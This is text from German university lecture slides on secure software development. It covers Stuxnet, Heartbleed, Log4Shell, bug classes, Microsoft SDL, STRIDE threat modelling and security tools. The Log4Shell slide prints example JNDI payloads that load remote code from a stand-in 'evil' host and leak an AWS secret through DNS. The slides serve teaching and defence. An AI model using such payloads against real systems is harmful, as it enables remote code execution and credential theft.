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Software-defined Car

• Vernetzung

• Automatisierung

• Personalisierung

bosch-mobility-solutions.com

BMW AG

The Verge
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Software-defined Manufacturing

• Universelle Maschinen- und Anlagenkomponenten

• Verschaltung durch Software

• Flexible, wandlungsfähige Produktionssysteme

• Buzzword Industrie 4.0

verbund.uni-stuttgart.de
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Software-defined Infrastructure

• Extreme Ausprägung von Virtualisierungstechniken

• Rechen-, Netzwerk- und Speicherressourcen werden in 

Software beschrieben

• “Infrastructure as Code”

• Management kümmert sich automatisch um die Abbildung

auf physikalische Systeme

• Flexibler Ressourceneinsatz
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Wo hört es auf?

Software-defined 
Hardware

Software-defined 
Cities

Software-defined 
Everything

darpa.mil
[Merlino UIC’15] devops.com
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Risiken SD-Car

• Headunit verwendet D-Bus für IPC

• Port ist an alle Netzwerkschnittstellen gebunden

• Auch WLAN und LTE

• Prozess auf der HU ist über D-Bus erreichbar und 

läuft als Root

• Headunit ist im CAN eingebunden…

• Modelljahr: 2014
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Risiken SD-Manufacturing

• Stuxnet (2010)

• Siemens SIMATIC-S7 Industriesteuerung

• Vier Schwachstellen in Windows 

• Eine Schwachstelle in Siemens WinCC

• Manipuliert Regelung von Motordrehzahlen

• Einführung SIMATIC-S7: 1995

Siemens
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Risiken SD-Infrastructure

• Kubernetes-Dashboard zur einfachen Administration

• Dashboard fragt nicht immer nach Zugangsdaten

• Zugang zu:

• Rechenleistung (Kryptwährungen)

• Logs (weitere Zugangsdaten und

sensible Informationen)

digitaltrends.com

cointelegraph.com
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Heartbleed

• Bug in OpenSSL

• “Herzschlag” für verbindungloses TLS

• Vom Angreifer angegebene Nachrichtenlänge

wird nicht geprüft und trotzdem zum Kopieren

der Nachricht in die Antwort verwendet.

wikipedia.org

IETF

struct {

HeartbeatMessageType type;

uint16 payload_length;

opaque payload[HeartbeatMessage.payload_length];

opaque padding[padding_length];

} HeartbeatMessage; 
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Log4Shell

• Feature in Log4j: Lookup-Makros in Lognachrichten

• ${java:version} → 1.7.0_55
• ${sys:logPath} → /tmp/…

• JNDI: Java Naming and Directory Interface zum Zugriff auf Verzeichnisdienste:
• ${jndi:dns//8.8.8.8/www.cabrust.net}
→ A www.cabrust.net 21600 139.177.65

• ${jndi:ldap://evil.cabrust.net/x}
→ javaClassName: mineEthereum javaCodeBase: http://evil.cabrust.net/mineEthereum

• Lookups können verschachtelt werden:
• ${jndi:dns://dns.cabrust.net/${env:AWS_SECRET}.com}

heise.de

apache.org



> SWEP Gastvorlesung > Dr. Clemens-Alexander Brust  •  Sichere Softwareentwicklung > 29.01.2024DLR.de  •  Folie 12

Fehler?

• Log4Shell wird bezeichnet als:

• Sicherheitslücke (Heise)

• Schwachstelle (BSI)

• Fehler (Sophos)

• Bug (TrendMicro)

• Neues Feature (Apache)

• Log4j verhält sich exakt so wie in der Dokumentation angegeben und in den Unittests geprüft.

• Ist das ein Fehler?
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Klassische Fehler “Bugs”

• Lesen und Schreiben außerhalb von Speichergrenzen

• Verwenden von Speicher nach der Freigabe

• Integerüberlauf

• Auflösen von Nullzeigern

• Auflösen von nicht initialisierten Zeigern

• Verlassen auf undefiniertes, unspezifiziertes or 

implementierungsabhängiges Verhalten

int id_sequence[3];

/* Populate the id array. */

id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
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Denkfehler “Flaws”

• Fehlende Neutralisierung von nicht vertrauenswürdiger Eingabe:

• Cross-Site Scripting

• SQL Injection

• Shell Injection

• Keine Pfadbeschränkung auf bestimmte Verzeichnisse “Path Traversal”

• Fehlende Authentifizierung für kritische Funktion

• Entserialisierung von nicht vertrauenswürdigen Dateien

• Neue OWASP-Schwachstellenkategorie seit 2021: Insecure Design
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Microsoft Security Development Lifecycle

• “Klassische” Version 5.2 ca. 2012
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Microsoft Security Development Lifecycle (2)

Provide Training
Define Security 
Requirements

Define Metrics and 
Compliance 
Reporting

Perform Threat
Modeling

Establish Design 
Requirements

Define and Use 
Cryptography 

Standards 

Manage the
Security Risk of

Using Third-Party 
Components

Use Approved 
Tools

Perform Static 
Analysis Security 

Testing

Perform Dynamic 
Analysis Security 

Testing

Perform 
Penetration Testing

Establish a 
Standard Incident 
Response Process
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Threat Modeling – Bedrohungsmodellierung

• Angewandtes Risikomanagement

• Möglichst früh im Entwicklungsprozess von Systemen anfangen und nie aufhören.

• Schwachstelle: Eine Diskrepanz zwischen Sicherheitsregeln (Policies) und der Realität

• Bedrohung: Etwas, das unter Ausnutzung einer Schwachstelle einen Schaden an einem

Informationsasset verursachen kann.

• Risiko: Entsteht aus der Wahrscheinlichkeit, dass eine Bedrohung den Schaden mittels einer Schwachstelle

verursacht.



Risiken aus Bedrohungen – Analyse
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Jemand kann ein Radiergummi verwenden, um einen Eintrag

aus dem Geburtstagskalender in der Küche zu entfernen.

Jemand kann einen Vorgang in Friedolin auslösen, der das 

System für alle Studierenden mehrere Stunden lang blockiert.

Jemand kann über ein Eingabefeld in Moodle die Namen, E-

Mail-Adressen und weiter Infos aller Studierenden einsehen

Mittel

Niedrig

Hoch

Niedrig

Hoch

Mittel

Bedrohung Wahrscheinlichkeit Wirkung



Risiken aus Bedrohungen – Umgang
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Jemand kann ein Radiergummi verwenden, um einen Eintrag

aus dem Geburtstagskalender in der Küche zu entfernen.

Jemand kann einen Vorgang in Friedolin auslösen, der das 

System für alle Studierenden mehrere Stunden lang blockiert.

Jemand kann über ein Eingabefeld in Moodle die Namen, E-

Mail-Adressen und weiter Infos aller Studierenden einsehen

Akzeptieren

Reduzieren / 

Gegenmaßnahme

Akzeptieren

Bedrohung Antwort
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Architekturbasierte Risikoanalyse

• Bedrohungsmodellierung speziell für

Software und Softwaresysteme.

• Strukturierte Vorgehensweise (hier: Microsoft)

• Unterstützung durch Werkzeuge (später ☺)

• Grundlage sind Datenflussdiagramme und 

Kontextwissen über das System.

• Vorgehen “Design, Break, Fix, Verify”.



ARA: Design
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nginx

www.cabrust.netGast

HTTP



ARA: Design (2)
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nginx

www.cabrust.netGast

HTTP

/var/www



ARA: Break
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nginx

www.cabrust.netGast

HTTP

Spoofing

Tampering

Repudiation

Information Disclosure

Denial of Service

Elevation of Privilege
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ARA: Break (2)

Spoofing – Verschleierung der Identität

• Jemand anders kann sich ggü. www.cabrust.net als

Gast ausgeben.

• Jemand anders kann sich ggü. Gast als

www.cabrust.net ausgeben.

• …

Tampering – Manipulation

• Jemand kann den Austausch zwischen Gast und 

www.cabrust.net verändern (Man-in-the-middle)

Repudation – Verleugnung

• Gast kann www.cabrust.net besuchen und später

den Besuch leugnen.

nginx

www.cabrust.netGast

HTTP
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ARA: Break (2)

Information Disclosure – Datenleck

• Jemand kann den Austausch zwischen Gast und 

www.cabrust.net aufzeichnen.

Denial of Service

• Jemand kann wiederholt große Dateien anfordern

und das Netzwerkguthaben von www.cabrust.net 

aufbrauchen.

Elevation of Privilege – Rechteausweitung

• Gast kann als www.cabrust.net Code ausführen, 

Dateien lesen oder schreiben.

• www.cabrust.net kann mit den Ressourcen von 

Gast Kryptowährungen schürfen.

nginx

www.cabrust.netGast

HTTP



> SWEP Gastvorlesung > Dr. Clemens-Alexander Brust  •  Sichere Softwareentwicklung > 29.01.2024DLR.de  •  Folie 26

ARA: Fix

Wie mit einer Bedrohung umgehen?

1. Risiko abschätzen und priorisieren (Risikomanagement)

2. Falls Lösung angestrebt wird:

• Bedrohung als Bug betrachten

• Effektivste Sicherheitskontrollen umsetzen

Sicherheitskontrollen

• Präventiv

• Detektiv

• Korrektiv

• Wiederherstellung

• Abschreckung
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ARA: Fix (2)

Bedrohung

Jemand kann den Austausch zwischen Gast und 

www.cabrust.net verändern (Man-in-the-middle)

Lösungen

• Transportverschlüsselung

• Prüfsummen

• Redundante Nachrichten

• Direkte, geschützte Netzwerkverbindungen

• Webseite abschalten

• Fremdhosting beauftragen

• Nichts tun

nginx

www.cabrust.netGast

HTTP
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ARA: Verify

Schauen, ob die Sicherheitskontrollen die Bedrohung

anforderungsgemäß behandeln:

• Code-Review

• Code-Analyse (automatisiert)

• Formale Verifikation

• Komponenten- und Integrationstests

• Penetration Tests

nginx

www.cabrust.netGast

HTTP
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ARA: Fazit

• Konstruktives Verfahren, um Bedrohungen von 

Software und –systemen zu modellieren.

• Hilft bei der Vermeidung von “Denkfehlern”.

• Zwingt zur Formulierung von 

Sicherheitsanforderungen und -richtlinien.

• Eselsbrücken wie STRIDE helfen bei der Kreativität.

• Auch geeignet, um Angriffe zu konstruieren.

• Bedrohungsmodellierung sollte kontinuierlich

passieren.

• Sicherheitskontrollen können selbst neue Risiken

mitbringen!

Design

• System Data 
Flow

• Process 
Data Flow

Break

• Spoofing

• Tampering

• Repudiation

• Information 
Disclosure

• Denial of 
Service

• Elevation of 
Privilege

Fix

• Reduce

• Transfer

• Avoid

• Accept

Verify

• Code 
Analysis / 
Review

• Penetration 
Testing

• Unit / 
Integration 
Testing

• Formal 
Verification
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Kontinuierliche Bedrohungsmodellierung

Sicherheitskontrollen können selbst neue Risiken

mitbringen!

Beispiele

• Certificate Transparency.

• Schutz vor Brute-Force-Angriffen macht DoS 

möglich.



ARA: It never stops!
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nginx

www.cabrust.netGast

HTTP

/var/www

Systemaufrufe Sockets

Dateisystem

Signale

Arbeitsspeicher

Timer

Register

Stromversorgung

Türen und Fenster

Andere HostsAndere Prozesse
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Ein Lichtblick

• CWE 119: “Improper Restriction of Operations 

within the Bounds of a Memory Buffer”

Spekulation des MITRE:

“[…] the community has improved its education, 

tooling, and analysis capabilities related to some of 

the more implementation specific weaknesses 

identified in previous editions of the CWE Top 25 and 

have reduced their occurrence”.

→ Tooling?

0

5000

10000

15000

20000

25000

2017 2018 2019 2020 2021

CWE-119 Insgesamt

cwe.mitre.org
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Unterstützende Werkzeuge im Entwicklungszyklus

Sicherheitsanforderungen

Bedrohungsmodellierung

Abhängigkeitsanalyse

Statische Analyse

Dynamische Analyse
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OWASP SecurityRAT

“Security Requirement Automation Tool”

• Generiert passende Sicherheitsanforderungen.

• Erhebt Ist-Zustand, Prioritäten und Absichten.

• Begleitet Erfüllung in Issue-Tracker und macht sie

messbar.

Kommt mit Standard-Katalog “ASVS” für

Webanwendungen

https://securityrat.org/
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Microsoft Threat Modeling Tool

Automatisierung der Bedrohungsmodellierung

mit STRIDE-Methodik

• Erhebt Ist-Zustand und hilft bei der 

Priorisierung.

• Spezielle Modelle für Microsoft-Produkte.

• Schlägt auch generische Bedrohungen vor.

https://aka.ms/threatmodelingtool
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OWASP Threat Dragon

Automatisierung der Bedrohungsmodellierung mit

verschiedenen Methodiken

• Erhebt Ist-Zustand und hilft bei der Priorisierung.

• Schlägt hauptsächlich generische Bedrohungen vor.

• Plattformunabhängig

https://www.threatdragon.com/
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Safety

Abhängigkeitsanalyse von Python-Umgebungen

• Prüft Abhängigkeiten auf bekannte

Sicherheitslücken

• Ermittelt Lizenzen aller Abhängigkeiten

https://pyup.io/safety/
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Bandit

Statische Analyse von Python-Programmcode auf 

Sicherheitsbedenken

• Vollautomatische Analyse

• Einstellbare Empfindlichkeit

• Bereiche Konfiguration, APIs/Abhängigkeiten, 

Krypto, Injection, XSS usw.

https://github.com/PyCQA/bandit
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Flawfinder

Statische Analyse von C/C++-Programmcode auf 

Sicherheitsbedenken

• Vollautomatische Analyse

• Einstellbare Empfindlichkeit

• Bereiche Konfiguration, APIs/Abhängigkeiten, 

Krypto, Injection, XSS usw.

https://dwheeler.com/flawfinder/
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OWASP Zed Attack Proxy (ZAP)

Dynamische Analyse von kompletten

Webanwendungen, geht in Richtung Penetration 

Testing

• Leicht automatisierbar, sehr einfach zu bedienen

• Simuliert Browser, kann aber auch interaktiv

eingesetzt werden

• Black-box → Unabhängig von Programmiersprache

und Umgebung

https://www.zaproxy.org/
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Security.txt

Vorschlag für eine einfache und vereinheitliche

Kommunikation von Sicherheitsrichtlinien in 

Softwareprojekten

• Kontaktinformationen bei Sicherheitsthemen

• Ablaufdatum

• PGP-Schlüssel

• Hinweise für Sicherheitsforscher

• …

https://securitytxt.org/
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…und der Rest?

• Automatisierung schreitet voran

• Werkzeuge sind für einige Bereiche gut verfügbar

• Aber nicht alle Aspekte der sicheren

Softwareentwicklung sind gleich weit…

• Besonders involviert:

• Requirements Engineering

• Pentesting

• Bedrohungsmodellierung

• Jeder kleine Fortschritt hilft

Provide Training

Define Security Requirements

Define Metrics and Compliance 
Reporting

Perform Threat Modeling

Establish Design Requirements

Define and Use Cryptography Standards 

Manage the Security Risk of Using 
Third-Party Components

Use Approved Tools

Perform Static Analysis Security Testing

Perform Dynamic Analysis Security 
Testing

Perform Penetration Testing

Establish a Standard Incident Response 
Process



Sichere Softwaretechnik

Datengetriebene Methoden, Werkzeuge und Best Practices

für Design, Entwicklung und Betrieb
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Ideate Plan Code Build Test Deploy Operate Monitor

Code-Analyse
Wir analysieren Quellcode 
und Maschinencode und 
erkennen automatisch
• Sicherheitslücken,
• Qualitätsmängel und 
• Wiederverwendung.
Die datengetriebenen 
Ansätze sind zuverlässig und 
leicht aktualisierbar.

Automatische Risikoanalyse
Risikoanalyse ist essenziell, wird aber 
häufig weggelassen. Wir helfen, wenn es 
eigentlich schon zu spät ist, durch:
• maschinelle Rekonstruktion der 

undokumentierten Architektur aus 
dem Quellcode, und

• automatisches Threat Modeling mit 
Risikoanalyse.

Intelligentes Monitoring
Datengetrieben statt regelbasiert 
erkennen wir Angriffe und Fehler in
• Sicherheitssystemen und
• kritischer Avioniksoftware
und liefern Informationen zur 
Entscheidungsunterstützung.



Institut für Datenwissenschaften
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We‘re Hiring!

Promovieren am DLR in der sicheren Softwaretechnik? Wir stellen wissenschaftliche Mitarbeitende ein!

Außerdem: HiWis, Abschlussarbeiten, Projekte…

dlr.de/jobs
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Vorlesung “Sichere Softwaretechnik”

Themen u.a.:

• Security Development Lifecycle

• Threat Modeling

• Risikomanagement

• Schwachstellen und Exploits

• Kryptographie

• Reverse Engineering

• Sicherheitstests

• Hardwaresicherheit

• Organisationen und die Rolle von Softwaresystemen

• Spezielle Risiken ML-Anwendungen

• Spezielle Risiken Microservice-Architekturen

• Aktuelle Forschungsthemen

Montags 12-14 Uhr im Sommersemester
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Danke!


